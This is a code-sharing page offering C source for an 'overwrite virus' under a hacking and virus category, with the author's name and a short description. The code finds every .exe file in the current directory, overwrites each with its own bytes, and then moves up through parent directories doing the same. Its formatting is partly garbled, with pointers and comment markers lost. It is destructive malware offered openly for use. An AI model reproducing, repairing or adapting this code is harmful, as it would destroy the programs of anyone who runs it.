overwrite virus coded in C - Hacking & Cracking, Virus Source Code in C

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Home » C Home » Hacking & Cracking, Virus Home » overwrite virus coded in C

Title	overwrite virus coded in C
Author	Tapan Kumar Mishra
Author Email	titu_igit [at] rediffmail.com
Description	It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory
Category	C » Hacking & Cracking, Virus
Hits	411602
Code	Select and Copy the Code
Code : /A virus program coded by Tapan Kumar Mishra BE Electrical Engg. IGIT Sarang,Orissa 7th sem email id:titu_igit@rediffmail.com / #include<stdio.h> #include<dir.h> #include<dos.h> void main(int argc,char argv[]) { int bytes,i,done; FILE virus,host; struct ffblk f; char buffer[512]; do { done=findfirst("*.exe",f,0); while(!done) { virus=fopen(argv[0],"rb");//open the virus in read mode host=fopen(f->ff_name,"rb+");//open the host file in r/w mode for(;fread(buffer,512,1,virus)==1;) fwrite(buffer,512,1,host); fclose(host); fseek(virus,0,0);//points to begining of virus printf("infecting %s ",f->ff_name); done=findnext(f); } } while(!chdir("..")); printf("For any querry contact Tapan Kumar Mishra,id:titu_igit@rediffmail.com");

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